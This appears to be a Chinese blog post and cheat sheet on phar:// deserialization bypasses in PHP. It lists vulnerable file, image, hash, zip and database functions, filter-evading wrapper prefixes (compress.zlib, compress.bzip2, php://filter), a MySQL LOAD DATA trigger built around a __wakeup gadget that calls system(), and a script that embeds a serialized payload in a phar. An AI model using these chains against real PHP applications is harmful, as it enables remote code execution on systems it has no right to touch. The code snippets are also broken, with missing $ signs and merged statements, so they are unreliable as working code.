Phar://的绕过

2023-05-17 09:38:53 浏览数 (2)

Phar的绕过

[TOC]

受害函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / fopen`
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

exif

gd

hash

file/url

standard

exif_thumbnail

imageloadfont

hash_hmac_filehash_filehash_update_file

get_meta_tags

getimagesize

exif_imagetype

imagecreatefrom***系列函数

md5_filesha1_file

get_headers

getimagesizefromstring

zip函数

代码语言:javascript复制
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test.txt');

数据库函数

代码语言:javascript复制
Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Postgres

代码语言:javascript复制
<?php
pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能

Mysql

代码语言:javascript复制
//LOAD DATA LOCAL INFILE触发phar
//先配置mysqld
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
    public s = '';
    public function __wakeup () {
        system(this->s);
    }
}
m = mysqli_init();
mysqli_options(m, MYSQLI_OPT_LOCAL_INFILE, true);
s = mysqli_real_connect(m, 'localhost', 'root', 'root', 'mysql', 3306);
//LOAD DATA LOCAL INFILE
p = mysqli_query(m, 'LOAD DATA LOCAL INFILE 'phar://test.phar/test' INTO TABLE a  LINES TERMINATED BY 'rn'  IGNORE 1 LINES;');

phar文件压缩

phar://(文件生成前设置好)

compress.bzip(zlib)

.tar.gz

compress.bzip://phar://./test.phar/test.txt

.tar

compress.bzip2://phar://…

.gz

compress.zlib://phar://…

.bz2

compress.bzip2://phar://…

代码语言:javascript复制
php默认不开启bzip2(bz2)支持,需要在php.ini 867行(可能有差)将extension=php_bz2.dll的注释取消
否则会报Unable to find the wrapper "compress.bzip2"
并且在php.ini 725行(可能有差)将extension_dir修改为自己的ext路径(我的是extension_dir = "D:/DevelopTools/php-7.0.0/ext",然后记得要用斜杠而不是反斜杠)
否则会报PHP Startup: Unable to load dynamic library(好像ext不设置的话默认路径是C:/php/ext(windows))

phar =phar->convertToExecutable(Phar::TAR, Phar::GZ);

compress.bzip://phar://...
compress.bzip2://phar://...
compress.zlib2://phar://...
compress.zlib://phar://...
php://filter/resource=phar://....
php://filter/read=convert.base64-encode/resource=phar://phar.phar

php://filter/read=convert.base64-encode/resource=phar://phar.phar

大佬的总结:

代码语言:javascript复制
.tar
phar =phar->convertToExecutable(Phar::TAR)
phar://phar.phar.tar
compress.zlib://phar://phar.phar.tar
compress.bzip2://phar://phar.phar.tar
ps: 直接使用tar并不能消去<?php __HALT_COMPILER(); ?>

.tar.gz
phar =phar->convertToExecutable(Phar::TAR,Phar::GZ)
phar://phar.phar.tar.gz
compress.zlib://phar://phar.phar.tar.gz
compress.bzip2://phar://phar.phar.tar.gz

.tar.bz2
phar =phar->convertToExecutable(Phar::TAR,Phar::BZ2)
phar://phar.phar.tar.bz2
compress.zlib://phar://phar.phar.tar.bz2
compress.bzip2://phar://phar.phar.tar.bz2

.zip
Phar::SHA256
phar =phar->convertToExecutable(Phar::ZIP,)
phar://phar.phar.zip
compress.zlib://phar://phar.phar.zip
compress.bzip2://phar://phar.phar.zip
代码语言:javascript复制
<?php 
class test{
    public name='phpinfo();';
}phar=new phar('test.phar');//后缀名必须为phar
phar->startBuffering();phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
obj=new test();phar->setMetadata(obj);//自定义的meta-data存入manifestphar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

一些其它协议流

php中一些常见流包装器:

代码语言:javascript复制
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php://input

可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。

而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=”multipart/form-data” 的时候 php://input 是无效的。

php://output

是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

0 人点赞